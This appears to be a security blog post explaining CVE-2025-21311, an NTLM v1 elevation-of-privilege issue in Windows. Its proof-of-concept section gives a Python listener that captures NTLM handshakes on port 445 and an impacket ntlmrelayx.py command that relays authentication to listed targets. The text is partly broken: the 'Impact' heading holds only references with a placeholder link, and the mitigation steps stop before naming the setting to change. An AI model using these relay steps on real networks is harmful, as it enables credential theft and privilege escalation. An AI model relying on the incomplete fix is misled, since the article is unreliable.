Microsoft Windows has always been a main target for both attackers and defenders, especially with authentication protocols that have stuck around for decades. In early 2025, security researchers highlighted a new threat: CVE-2025-21311, an elevation of privilege vulnerability linked to Windows NTLM v1 authentication. In this deep-dive, we'll explain the vulnerability in simple terms, show how it works with code examples, and provide steps to protect yourself.

What is CVE-2025-21311?

CVE-2025-21311 is a security flaw in how Windows handles NTLM v1 authentication. NTLM (NT LAN Manager) v1 dates back to Windows NT, and it’s now considered weak. Attackers can exploit this vulnerability to elevate their privileges — basically, gaining more access than they’re supposed to.

The core issue: Windows systems that still allow NTLM v1 make it possible for attackers to capture and replay authentication exchanges, sometimes allowing them to become local administrators.

Weak cryptography: NTLM v1 uses outdated encryption that is easy to crack with modern hardware.

- Relays & Replays: Attackers can intercept (relay) authentication requests and replay them to gain access elsewhere.
- No server verification: NTLM v1 lacks important mutual authentication, making relay attacks particularly easy.

Proof-of-Concept: Capturing & Relaying NTLM v1

NOTE: The code below is simplified for educational purposes — don’t use it against systems you don’t own.

Step 1: Set Up a Fake SMB Server to Capture Credentials

You can use a tool like impacket’s ntlmrelayx.py, but here’s a snippet in Python for basic NTLM capture:

import socket

def start_ntlm_listener(port=445):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind(('...', port))
        s.listen(1)
        print(f"[*] Listening for connection on port {port}")
        conn, addr = s.accept()
        print(f"[+] Connection from {addr}")

        data = conn.recv(1024)
        if b"NTLMSSP" in data:
            print("[*] Captured NTLM handshake:")
            print(data.hex())

start_ntlm_listener()

Using impacket, you can relay to another server (like an admin share)

ntlmrelayx.py -tf targets.txt --no-smb-server --no-http-server

This listens for incoming NTLM authentication and relays it to targets listed in targets.txt. If the target only supports NTLM v1, privilege escalation is possible.

Real-World Exploitation

With tools like Responder or NTLMRelayX, attackers can automate the process.

Impact:

- Microsoft’s advisory for CVE-2025-21311 (Example Link)
- Impacket NTLMRelayX on GitHub
- NTLM Authentication Protocol - Microsoft Docs


## Fix / Mitigation

Open Group Policy Editor.

- Go to: Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options

Monitor for NTLM v1 usage

- Use tools like Microsoft’s Advanced Threat Analytics to spot old authentication attempts.

Conclusion

CVE-2025-21311 is a big reminder: legacy protocols like NTLM v1 are a danger to your network. This vulnerability makes it easy for attackers to elevate privileges, emphasizing the need to finally disable NTLM v1 everywhere. Stay proactive, apply patches, and audit your systems – don’t let history repeat itself!

*Stay safe. If you’re on a blue team, take this as your sign to check those authentication settings today!*


*Original research, hands-on explanations, and ongoing updates — exclusively for our readers.*

Timeline

Published on: 01/14/2025 18:15:54 UTC
Last modified on: 01/31/2025 01:44:33 UTC